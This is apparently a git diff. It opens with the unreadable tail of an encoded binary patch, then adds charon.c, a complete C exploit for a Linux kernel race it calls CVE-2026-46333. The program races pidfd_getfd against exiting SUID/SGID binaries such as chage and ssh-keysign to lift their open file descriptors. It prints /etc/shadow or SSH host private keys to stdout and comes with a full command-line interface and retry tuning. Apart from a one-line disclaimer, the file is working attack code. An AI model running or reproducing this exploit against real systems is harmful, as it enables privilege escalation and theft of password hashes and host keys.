zbGl^$BLbGet)JW(lIs8iVh{GtAwIG{%_jozkQ@&5`!kGL+8LW;VeMY-Vy+bfq`F6@ zCxKBA*f5W|csuZjDnR$3NO+YgKzL%5f4z*eQ{bXD<@gI{C$QDPCjhiOxUots(}Q9_ zUn&v+uc};r6}c|j75OHO2WeN@_0q>7-R8|zqRadmAO5|f2e>74>yrEl30Ed08nX_a z;KECBB~9}94vur6!CF(eKU)?{Gtv-9meKkEV+<61+*pxM=r(J|NyeIhN~bASuIOJ3 z><0vX&gFnu@l~jU`ZS@lj9Kfl`vYrR%7-u{4@Ea*9%jANYm2u-7p<+Z&wZZ~qkP{D zLyVCp!_|rbtMClm-xZ{1vWo)b10;vH^KrT_(jw)I_B(yC9QO&o<+I$l1CN`}E8o4ta7Et<+4FFsZ0x=Dw zGaUVPFJrgpEj6qxL~@N+SmCLIwe8iSmkE?;|gZW%5E@a8g0cMkCw@M&{K zL)$DTr2RZMj^m@XakzaXo&N>77&*nZd<@EMae@N*&BhXN&M9I*HkOLZDrt{Qtzl7c z5AdQxpa=y3kQT#A@%m(^@S}NnOc25$ZgB&7g^e&9j`7-E4Nxn`POX4kl2ts9;@{5RR6@$e`YpJrv&WKJ&U`kd~3u^C3%{s~azR zf;co#)JF5c_}P_KZeg%PA%$4`6i(N-z-)uGKPTBN%_sDVg(O+A7|c6%L7{z_q!o$V zMPN$BAVs_RdQ~ihTo&^q&Q>Cq{OvIHqkNbk8xW9pnY4bY`N-$V&4oltT{qg!B zcC39ipFq}M11XZ|E6a#JwWUnJJm-+d2dGH_Hx+{EsYva2Ja)Wpz@r?l8<>Kl zKZ43015+bQanl?@Hs%Tvjin7#OWy&a8p>2j6f&Y8HFy~6r(#N zuA+Ne)iXtped6uZ7!LN(p5~ejxT!Eq&p;uA^s^rOnXi}j4DDxTEID`Jr=iM?uQ#Wyji0zN0mno3 zo1CK|cqX(z(3>obj7(j!0s4BeP;u9lp~xxX9jadx-pB^+4^%{Js!M-vHAdx;zAkcQ z2hmPOZpc~0G`yuNqPd3Ms933ynd@pyfM@mD&*Jl4z!R={HCJCRuUB-#M8MDl#0qIK zLU;0XmJ7>oW?gRA+$u+MION|)8B~%5Qlz=8*c#W z?14X}0o=GH5bcdDvY;kv&IJGIAzxqG7KUmKbbxF-Ak*6S12MCp0ymDD2^rNzRV|)q zyK-YiU2Qo+k!?_(QIGOrRtj^^OXp{(ajwX2n;{7XVByM6jZh~j} zh<>>kHb#xZjngiXaN{UPpzK5>4wT(Z{0SVrIy(Spu>3>9D-kRd!p1EE@$bZHFVGoa zbKJdi=r&{8G;{O>Sfn$u_XL=?ioqWEQ%;WhE9o)cQKGiZ0=ncH!Y`ScvbP5w5URk9 z!J8Q*(ih;yE}~a$_YnNs1Xh7s$&`^PwJiZc`*9Qs%@O~3f-5%rj)sNSp-xu3&9mfv zy%2C;Z`Yv0QK+5=q}h8?_7C8vCfM0hsb_$Gg=vSqbwrH|e5I`WfvgH!?H>zyDgwko z%@pm01aN|?KwJX^Qzj8Uw(o`dMwP;#@2GXP9r6(5Aw(QsDmF{FahxOC6}dEZeGcdX z{-v)dmq}&g3Y4QnA0_&Z5^q~rXth2Wdj8IwR#^li{>@mO1A2#QLPygIq_Sxa#k4mP zBEz7UpJeOwfrK9xHe2gqNx>fl|xx8+T11U8GBCwK+te>CFt?%KB zLH7ZK-*n?QXTa*##FMU?c*2#sI(Gpx_<|dk3Go9^G*T!!36E{6@qZk#U^V$Tb+-<^ zg)6=vN<-$w54ej?;Ku9Yhg?Mi@h^(u z$Fe~UD39bp~z zapX&gYK>d@r^xTs1BHt7cdR3Fwwd6@*6>Cl{R!jOVniKya^)(mOIa3ZxG~V6Ol0an z-ec7@bdFF%gA>oI0|k#QpmXwRaN-$t;G)OEgw81>G&u2uI&j5fGYFl737s<$&g_Rj zmO60rV})_P`q*`FRax$Z2?cQkG#R* z%QkNJ1aZ93&i;k!HK_?3f(GOn)zMDKy)Tq#%%4!+4$=geVLuC3cZPgjkm8$@L|+Kh zstr3O1L{exO}(3)T&BKtp%zv7nZ|3l*9ipWj^wuoK2O_cFE<>bZwWu zN>J~2a8;Plj-mPn*2menI)1-Vej36;UQgGfBu4q?@Ec5a>FZDr*8-9VzkR(Hy!vfO zzLBczR9Je}G4&^^sjjEaY#NJD54+6)CV!^<33zwT zS^zx2cylmrgFcaVLa~Ll0@*DW8Ok8)cKrg z`JVP?=fn3C3Z;I=-FQb_cJ+*hkgwg>MXGz=gX*;Aj`NJ& z!<94jq5bFi$JM>0nr*src!CMU$97_;+TWw}LN7ND^^&2_d_2{RRCn=;v%G?gHSyIU z`&oLtyxs@h%Ikgj*igj}b1LVIEya-DzWQx=dR)-VK24 z^mS=5e0!(tZ%t44`B#8@4lBq5#fyrY&A)<_nw5WHeDiAvek4ig*&4hwW)~-!1qFW1 zRb#-oyK0GYce0`k0;4wW1}1Ej-+322l~$Az!+CNZX!ehSG{+?&VyIBCmr(mlcYc2! z6sWk(O=yM37b9wmJE#6et8?`{goM;Dd1Om!Ka2+|1)k?JI3$Ma&SmpJkh=={A^N0y z;LC^>LKJYg@00MAEl^|PI$}KP;&}_*WJ*N|6u?zCy9f>S6Mep$KpBlGYf8+Axv}vw zP_{oJy7TIJK-r;!UUwyrmgYJGukD|s4?~i?8x(h0zpI!>V-9iwcCAOIoxa|XFP55` zfd_RU4{K}TauUijA*e}MNazkSWtp1@{Sa=hOoSxYg2;Ax*y)H>35kwiY!2%IPdI;> zn;4Vst%9HPN(h~PcNMIv^B#UCP)d@{>bds&BnWj@@r#qn=ORRe9mF8q%6H`!{$m3a ztRr;#H~3A{OW{lHFI+jEB%Kqhpy(|^o1m~7hhbq(R@Nc=1yKhC?$J|sGS~+g59Fe{YvLxx zZ^m+lnoEC6_AG^@o1j=m6T4!2YDITV{QWufJ@KC52L3$wwR3dWRKNhB%C%zgo|&Q< z;jXt@u~@x!)xvvn`s3@VF{lN2#O3QUYvHW`DlZPk?a#n#hp1_KzBy+&ebt!aCPw*m zfROil?YI!=E<;US-{K|1#_|2fPLg~Itc85V34SC&Zz%=LNjg8d!#;}}odjMNk$ej3 zroboZoCdK+u;*iLaYthj$Pw6l2SVn(y^L|21`OKz=AVY-7Nh+4cOca2Jbx=f%$z># zw!%LR<6k_I&n_{RQ`gKU@`uca{=%J|cfr#xf)GVN2R)AQ=6Oy84w)LY-*%PL1VXh)_ui$}AgIqPzYKB%osr z&S?xc!23GtZbmqIoY#@gQ6R(mk@d7 zV|YwHKNTRf!VTw2@R*8Herg_}6~*9u!DA`{{LErn!Sl$<@R*8u{LC^!D@wp(!^P<_ z6^jY2SZ1F2t-S^?%%L^F+Qq;$?5aSEAUEI6kCxQ_UtkSNYSo{ClpniTCS>(aVT|!Q zd@}uz&>eh6mNyfhNUGUJ5OOnD)c!uKL8gOUm>i4)yb3>VfTC2=CRn*)i=*}*#@cS! zKEr+!3a<>rUutsPe40lJDWZ!HfY9Ui)1k0_nr}+DQLslG5ocbDwI>D{+XzAExuac^ zy?^GlI0{w?Ub3GglYMZ!6+ADO4%43jAJhDJ4wMqeR@-(FdKQwm3qhw^Nc8z7#Gg<` z6Ge%05mGCfcWv$~%bI<$G_r@zTashRzU`RZ#| zSDOE}DK(XuvJZgRZ+aRJrVP#ogSpp#qE^s)xb6iajprp?!1EahL zZYT+R`HM*0;QB8P3p-L}8M`ZlRRCy&^#v}t%b!>=Mm;JJZ)aHD?1rvI-{^|_0Q5C@9Z7N&E`0GnL!D_(<_#w9#v zjt91&YzQMFGcKr6%;`7xw5izRi-nVOxW|<@RnO-sG2Uf(O30P^i+M1ex5eo<)Ydng zac)-wO0q;wyESB3q%iFwbPnk)3`B}a_1aa09T$iFna;4 z6m!Yih65>C2Sk}0Jv+>A_vb=GMxWDv3bfO>g%x$ub#SN`zUYcfC;FU)M4!7DrijPP zab;GE&^cwk*w9kJN@evSwar5dIq=!*1M{`kjmnkrbHFhRn7Qx;uWq890o>Tj&HSF! zzhrO3jbr>L6%SY+!RFK(FH}asiX4Jsd!5Z2d|iNUU)r}VAe%CF8@akQyeZ=n2)~u_ z2gvxfge`ieO89;f)pQXx?t+t#eT(R0WMAS|W9C@yG#HSz4rMQ)9XT3s&LONPZXDr1 zfuqZ~HkjaJjHImZWc70`7HQ&zHnMZdIpX{U)T*me({p;x-oeeOYO6rh!-6svHx`r? zDkEA!J_fMbig3_0u;uwybNMD!iYbExxghBq? z^s|)hd@jo6x!rB>w<#kbK$c&NoPeTY+TpK~kGqxm)XtV6_O z+iD1YvW=6!evo+yev&IK{0x*#_H~7{gYbF?sHumaPkZ7Z{C9Px!j{+fFK}nHi~>IKmiBEW8_rqkSI=G&p}X zhwEXyd~duv&w^L%r0IVR-tO%D8YnpVWQs!s+y~XoIt?s2C;o)?+41kt~CA1zM=uFFAwn! zV#-L?sl}9eYX4#79#VaNBakFQKLzX9?np67CJ*z%#L9TH_-D2hv*^C&4Wzn1bqwCe z1aTOI?(_9x=Yth46MU905L)4ak-$5C()=^skGcH?D4v@|{J(dU;ins~U4{@nL5#cd z!nD7J77}Cn^<&e~O}W%2r;`l6;KrLJ8V}Ph{*o_XAgw~6;c*5v9X_KSJZ~Oo3DC*E z*WPYOcM$yA$0UCE>*`?9$`nmVn;=|RYIV4WwaN}4^L*Mtw*(Es!uT~Xyh9hp%x4AW z9aLLOD;lP`=oY#aI^AKzk7P)BQfpqR)an2`u1ya!@?aQ>SlaKSA^LQ0Ip9zMQTwmN z(bwTMn(e9KZwCWAhH*z8(H&4B;Y#IeV4~Dwk;9+>!=?$*hx`=QF)>sxgWPhu2 zg`Ni@_N`zxXJzIdISArqyLsEaXhp|U-^g6D8 zoju3cqXY-Htu}bY=06*6naP`=l5zl}C9YxY-JBZdU#uo< ztyLE3v)x)Oaxe!BH}IjW%|aNA(Eeup)NP=6L4>kR&%*ReYZF(~Y<)CLd##s;{XSv+ z94PnfQQ!jSLGv(neOdw6K!~uzT)6ii4j*f4z>LeoI^iuwL@={JXTQVk*L0SN$OS7>?n+ zy2g5t-Rt4y1L(2q%`MMniqmIb#AVloH`dpA7*o%zUAemyxUdOqffuVyZ+FsXit6&9( z>;f87s^@;a{}pd>P}xnKuO$3^on`h?XW2KeR5{%w~VFU8KMu|ba}!1 zW#^j{UIqw&a?#4<9Owf$rTa{~GL>EI`8d(b-Lnufp`HNI%MadwkU7UbHm4)B$b$T> z|I@cdfA#t5^VR38&sU%SzdycjmVUDoRS@Z0b8q)twZe0t?m17*{mYj>c>fAd&5{+K z?^Z8=bj1pf^1%I``&T`vOnvy_60c{zvU-)Lq~gxd)ay#GyJ70I8?L|pdhdu43s!vh zU+=#OdRg@7GUdTXA6aqVh!GyoROK4a)TzpMm;dYiif49M4tYGDng^HO?@=E0EWiJ| zOFSh@?yvc7WT|qK=i2*~>T6d#@ZBYkuJl67<K6Ugq(9nUO^X6`(V{?r0$aS9+556+IUfc3Lyx?joq6-#%)IyJ&CKrX zF51{8)Aay7ty#0Bm0@AH_3=1bsW>i|iOc0UWZIUEh+JUJBfgK&X-kSt$&{kHZd2xM zCTl`5m%YX0d?VC&80#VTB2?Pbl$XHdRiWT%UKw(Y+svkUJTUSm#tmZJU{TBEL`2;P z6;e{6aB3&i=!<}_666BYlVWN(t(JHEgrFriNi?GhujKMaLZb? zm1a#8Eyk_xCA%CmrCDG!N8}5LTTF5mq1S3LPbzGA+HbI6*f7wKgkk}y1&<<1kE4h+ zih8QXE1_;siiaetIW0Y|LdLbRMJ?MnFG;UPvG^$B%Got68yf_zjg`g zLT-^g!^MX$K{;UCWgbTnlv`5xWyPX;xgL~f1E6}>1Dp+T{v(!;v8g9#1FHX%vjJQ@ zd#f_G{*uK9I`l9n?|S=T>S7Q@Ee{K9A{Ml^rBo07cXx& zps&vWS?ApqI;+5MFn@~$i&&18EZ0I__8Z0G3m{483gds;;>5@;4#+b({_96^IrKM0n)<7+9g+V>2+Ro{FQPg!j zebVBBvz~~+Szp*QJSt$&DdAi_+`*$q*s%qFfz@jD;1INA*bFt9LOqnsNuFF?6xKBh z4q+|Uwyc&2Ihni`Br;Awz-{->LxSG)Ad?+ARtJNxE746TQxHJkJrhsLN?e3!e!!m9l z?hw-eT{;q~Oqh-8E)AydXlyRva6iB@;@ObLJNU$tc&v0}p>+I2fu4s1Xu@aV z58+^DB71-KE7{-9elT|=H=FqnxCqO+ayEgl!THRo?DN?m`*QZ5vPt&ipt9?^zlYNq zmbsKmGKb+fd?xosHp=}t_d@2iEWm%}iso%9=Qzw zuMF_G-!c2%$X|~9^T^Lerbo-8r$;|M%13XEzM1*v=wFTgWc1%hC-Ps+Jd{74Kb!aR z0Dqc!E%Qd^A2QeTf0X|=-TOB1qx_Ha|C0Y%{x5P5jhz@<8~fDQ*K=Q{ZBuuIbzz4Y z40&D1rbp8nSc@XI=|xy;Yle!3M(#6M6-_VXHanbSDvrpHXq2o)gAUhTEn=`PXr$A+ z4bL&z43(Jz1dN9)fM;7wni33Mi||^rfGVM4zu|lhxf#iPEo8fkp%IBG1*d7eXFH+N z3O?aQF-@`rMl`A!_ZWEEL)~ssJy5kgpJBx6njBcbwnLx6vvzE5vL^9A$CQYr&#)G& zHmq^Yq>NkS6x|eooOLf3&8md-WEizE=H9j!MyAngeA|mc8k^Y`tk8^d-WG>Z$hY7e z^MZLAk8KMrYgkQNX{15(wKl8>&Y4e2Fax>9S{qx8$v)AMPYGy>F_^g?D;B`hLTPek zfw;oE5%PSV-!L^@3IdwY(ZCfe2Fp@xF^;XU#bB-MrW{?VyEf4L!;--=dA2m2CQYI2 z)1MQuHG!TI*A#kv(dXHYwt_H1KefZm*xB^7v#nH`p4^O^jB8kOCm4lFTa6383Fq6* znutQ*2pJ;j&rk5!=8}cn|cnWKb zaa3%Zk^MX;g%-Yuoc>9ou7*~kJ?)U)*1W*1G*Vxqgulf!teWYtbuUgIJqvxtHMpmn zZkbo4;G3rT#)CL+T{KCr*Uo`t6}MVKl1R^+Dp)2&(8Ew)=*7C^b+1W2WH4{qH}8Zr zj=+hjn{lvi>r7t}a;w|@(|CXPzmtFAmaZS?)oi=gX}(>rGwFP3PY|xfp`z6nxvZWP zs8+qi6_1-%G9I8;*Tl*SOEqF`+*EH=@FH3-w@JzA%CisKpL$+<5lwI-h7FGg5rcEA zDKx{L6Z?29w1;fRH!BWmN|Oa)+{8Mqx8ajU?JmiT7|+C!4jZDCuAW%{=bVSbEoPO~ z6Trt<+ZZz2X&E1w#*JZ1wk@_;U=pu*WQV_LL_}ItOqzknLU;b@oT);OcO75<{4@|u z8PRHQiw$M!1A2<$f9TGbgEzmFBrn}el3OSmIB<6B9x^UWlA{Z$)MJpEDnJN?ak_pN!4e&?-e!~D|nKlECX9Qbyx>@=Oy`e}aj zog`7WljO^{lVroyneeyVdH%Itekwn>og`oVuKlguPLfaFPLk_?)=Nu8Tsg9E^wGzT zJ%0Se((=mcsnats0W&i*gr@C~06;JNqz@=qn1MoJW@aW=7=z4%;}g>WBJnyZSs47{vQB<2Ogl~onZiPgm)L99f>KtpH9qS+$O&l2JnMGdtFj6 z6K-=Dx5@7VhhGA?Rt12k06I?rT%-6ib6b2J;MxmsUb|-YWv4(JU1>ANQzz|7+VAMQ zFO<@a?*mzYP7a_m0?-)+=;Q%9V*s540G)AwP641Z0nnKQ=o|#-6ahN#0_aQublwfn zc@IG6K7h`90Xp{sblwNhc|SmB8lW=+(0Kr$^B_Ry0|1>50(2e%=zIu(wl062-g1xy z*vkRz(cS)0fW17x-Wb5%0f4=6fV~31-UPtjB*5N5fWIpO?7a(M4`A|k1}68iFu9k5 z$-NPn{0TKNRZiyWImqlxWgeUyJMdD*n$QPmlNnFw&Zq%;n-Bd~d6LkMBUmm@-N>FQ zPQRF2DdP2!GsRaG_wD^yi>>I_Y zC6kBhK-(UVi6l8hdCnAH$#}&Bv=4{AL4HOg$=}jm*5%^V7qiR7=`ZA#i}?AG<>K6p z(WPSL#r#t7`1P@m7H^H_Ze@$dSBjOT;@ol(my6TOt|GKG^xsIoVUm2x@%lXRx{-Uj zh%b(;6z8swt`;k~)ogKY$+RIQy$AQ;9^8X_a1Z|9LFYa@k-6r=oiEwAo9A>vyR*;i zgO?8f;y(D$;cqznFkE&Czq=29+u{FUAADNhKi&u57%p%h_!CF}!{4)VxaH#Ca^b7{ z@c;fVNcZr|ww%9q^b0P2H%RIJ_2;DfW#Ol<*!sTH@YWCBKL3F|i^q-&|J;VZFgQMy z7~sD$_Hkyijg-Gzw7mu1q}PW198h_|)i(`YJN5&bG7iJt)(XE2>?g-xRr^1^JJ|lY zwEY8jIeL)x&wilx+j}>AQl|`IeWwp@bc;wO2La8!;)gKrpbHNq+wSe4DQCxSjX!)NXjl)le($G0>F7^7`u}bZR?>0r z05qNR<~a5_o8@lh)8~ANzS}=uawWJ&k)!lRnFFKNKA@)^`srI=vGgtaqBsDU zPdfJjtttC~?#j|7mb9Lg?^*iFS8cB0{AoN5Y0*ztPg45hj{f*Nq(9^8pVFUn^d}wt z?{o!YVYvOz57EEw{O#+sHyP}!82TZtcM9~r50YP6{!deX?dZ*GvicyUPs7>}ed>SV zmL;0LOZ{nFCSGaz_(LoIX?pz?08EY9FoogvH(mL3U7;UR`t;gE3e;AD{xB`OA0Bt* Mr}K^!Qo0oW7uY?#F#rGn literal 0 HcmV?d00001 diff --git a/charon.c b/charon.c new file mode 100644 index 0000000..cdb264b --- /dev/null +++ b/charon.c @@ -0,0 +1,311 @@ +/* + * ____ _ _ _ ____ ___ _ _ + * / ___|| | | | / \ | _ \ / _ \| \ | | + * | | | |_| | / _ \ | |_) | | | | \| | + * | |___ | _ |/ ___ \| _ <| |_| | |\ | + * \____||_| |_/_/ \_\_| \_\\___/|_| \_| + * + * ferries file descriptors across the exit-mm() Styx + * CVE-2026-46333 / Linux <= 6.12.89 + * + * "It is a fearful thing to fall into the hands of the living God." + * — Hebrews 10:31 + * + * Charon races pidfd_getfd(2) against a dying SUID-root process to + * lift its open /etc/shadow file descriptor through the transient + * mm-NULL window in do_exit(): + * + * do_exit() + * ├── exit_mm() ← task->mm = NULL + * ├── ... ← __ptrace_may_access() now lies + * └── exit_files() ← fd table reaped + * + * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread, + * never dumpable" and short-circuits the dumpable check. The dying + * userspace SUID process is briefly indistinguishable from a kernel + * thread in that test, so pidfd_getfd(2) succeeds against it and + * returns whatever fds it still has open before exit_files() runs. + * + * If the SUID binary opened /etc/shadow and then setreuid'd to the + * attacker uid before exiting, Charon walks home with the fd. + * + * Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14) + * Disclosure: Qualys → oss-security 2026-05-15 + * Educational and authorized-defensive use only. + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef __NR_pidfd_open +#define __NR_pidfd_open 434 +#endif +#ifndef __NR_pidfd_getfd +#define __NR_pidfd_getfd 438 +#endif + +#define CHARON_VERSION "1.0.0" + +static const char BANNER[] = +"\n" +" ____ _ _ _ ____ ___ _ _\n" +" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n" +"| | | |_| | / _ \\ | |_) | | | | \\| |\n" +"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n" +" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n" +"\n" +" ferries fds across the exit-mm() Styx\n" +" CVE-2026-46333 / Linux <= 6.12.89\n" +"\n"; + +/* A lure is a SUID-root binary that opens FILE before dropping uid + * and exiting. invoking ARGV makes it open FILE deterministically. */ +struct lure { + const char *path; + const char *file; + const char *const argv[5]; +}; + +static const struct lure lures[] = { + /* chage -l opens /etc/shadow via SGID-shadow on Debian/Ubuntu; + * via SUID-root on RHEL family. Either way we ride the elevation. */ + { "/usr/bin/chage", "/etc/shadow", + { "chage", "-l", "root", NULL } }, + { "/usr/sbin/chage", "/etc/shadow", + { "chage", "-l", "root", NULL } }, + /* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication + * is enabled; newer builds bail early but still open the file first. */ + { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", + { "ssh-keysign", NULL } }, + { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", + { "ssh-keysign", NULL } }, + { NULL, NULL, { NULL } } +}; + +/* CLI state */ +static const char *opt_target = NULL; +static int opt_quiet = 0; +static int opt_verbose = 0; +static int opt_rounds = 500; +static int opt_inner = 30000; + +static unsigned long stat_forks = 0; +static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ +static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */ +static unsigned long stat_target_hits = 0; /* matched want_file */ + +static void +msg(const char *prefix, const char *fmt, ...) +{ + if (opt_quiet) return; + va_list ap; + fprintf(stderr, "%s ", prefix); + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + fputc('\n', stderr); + fflush(stderr); +} + +static int +dump_fd(int fd) +{ + char buf[8192]; + ssize_t n; + lseek(fd, 0, SEEK_SET); + while ((n = read(fd, buf, sizeof(buf))) > 0) { + if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) + return -1; + } + fflush(stdout); + return n < 0 ? -1 : 0; +} + +static int +lure_present(const struct lure *l) +{ + struct stat st; + if (stat(l->path, &st) != 0) return 0; + /* Accept SUID-anything OR SGID-anything — both trigger the + * dumpable flag in execve which is exactly the protection that + * the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID + * shadow (not SUID root); on RHEL family chage is SUID root. */ + if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; + return 1; +} + +/* Returns 0 on success (file contents on stdout). Negative codes: + * -ENOENT lure binary missing / no setuid|setgid + * -ETIME ran out of rounds; primitive is working but lure didn't open want_file + * -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */ +static int +hunt(const struct lure *l, const char *want_file) +{ + if (!lure_present(l)) return -ENOENT; + + msg("[*]", "lure %s target %s", l->path, want_file); + + unsigned long getfd_ok_before = stat_getfd_ok; + + for (int round = 0; round < opt_rounds; round++) { + pid_t c = fork(); + if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; } + + if (c == 0) { + int dn = open("/dev/null", O_RDWR); + if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } + execv(l->path, (char *const *)l->argv); + _exit(127); + } + + stat_forks++; + + int pfd = syscall(__NR_pidfd_open, c, 0); + if (pfd < 0) { waitpid(c, NULL, 0); continue; } + + int got = -1; + + for (int a = 0; a < opt_inner && got < 0; a++) { + for (int i = 3; i < 32; i++) { + int s = syscall(__NR_pidfd_getfd, pfd, i, 0); + stat_getfds++; + if (s < 0) continue; + + stat_getfd_ok++; /* the bug worked at least at the syscall level */ + + char p[512] = {0}, lk[64]; + snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); + ssize_t n = readlink(lk, p, sizeof(p) - 1); + if (n > 0) p[n] = 0; + + if (strstr(p, want_file)) { + if (opt_verbose) + msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); + got = s; + break; + } + close(s); + } + } + + if (got >= 0) { + stat_target_hits++; + int rc = dump_fd(got); + close(got); + close(pfd); + waitpid(c, NULL, 0); + if (opt_verbose) + msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits", + stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); + return rc; + } + + close(pfd); + waitpid(c, NULL, 0); + } + + /* If pidfd_getfd never succeeded against this lure, the primitive + * is closed for this binary — likely a patched kernel. */ + if (stat_getfd_ok == getfd_ok_before) + return -EPERM; + return -ETIME; +} + +static void +usage(const char *prog) +{ + fprintf(stderr, + "CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n" + "\n" + "Usage: %s [options]\n" + "\n" + " -t, --target FILE file to read (default: /etc/shadow)\n" + " -r, --rounds N max rounds per lure (default: 500)\n" + " -i, --inner N inner getfd attempts per round (default: 30000)\n" + " -q, --quiet no banner, no progress\n" + " -v, --verbose per-hit + final stats\n" + " --version print version and exit\n" + " -h, --help this help\n" + "\n" + "Exit codes:\n" + " 0 success — file contents on stdout\n" + " 1 no built-in lure on this system opens the requested file\n" + " 2 kernel appears patched (CVE-2026-46333 closed)\n" + " 3 ran out of rounds without a hit (transient — try -r 5000)\n" + " 4 CLI / IO error\n" + "\n" + "For authorized security testing and defensive research only.\n", + CHARON_VERSION, prog); +} + +int +main(int argc, char **argv) +{ + static const struct option opts[] = { + {"target", required_argument, 0, 't'}, + {"rounds", required_argument, 0, 'r'}, + {"inner", required_argument, 0, 'i'}, + {"quiet", no_argument, 0, 'q'}, + {"verbose", no_argument, 0, 'v'}, + {"version", no_argument, 0, 1 }, + {"help", no_argument, 0, 'h'}, + {0,0,0,0} + }; + + int o; + while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) { + switch (o) { + case 't': opt_target = optarg; break; + case 'r': opt_rounds = atoi(optarg); break; + case 'i': opt_inner = atoi(optarg); break; + case 'q': opt_quiet = 1; break; + case 'v': opt_verbose = 1; break; + case 1 : printf("charon %s\n", CHARON_VERSION); return 0; + case 'h': usage(argv[0]); return 0; + default : usage(argv[0]); return 4; + } + } + if (!opt_target) opt_target = "/etc/shadow"; + if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } + + if (!opt_quiet) fputs(BANNER, stderr); + + /* Iterate lures whose `file` matches what the user asked for. */ + int any_present = 0, all_appear_patched = 1; + for (const struct lure *l = lures; l->path; l++) { + if (strcmp(l->file, opt_target) != 0) continue; + if (!lure_present(l)) continue; + any_present = 1; + + int rc = hunt(l, opt_target); + if (rc == 0) return 0; + if (rc != -EPERM) all_appear_patched = 0; + } + + if (!any_present) { + msg("[!]", "no built-in lure on this system opens %s", opt_target); + msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign"); + msg(" ", "add a custom lure to lures[] in charon.c for unusual distros"); + return 1; + } + if (all_appear_patched && stat_getfd_ok == 0) { + msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded", + stat_getfds, stat_forks); + msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); + return 2; + } + msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", + stat_getfd_ok, opt_target); + msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t "); + return 3; +}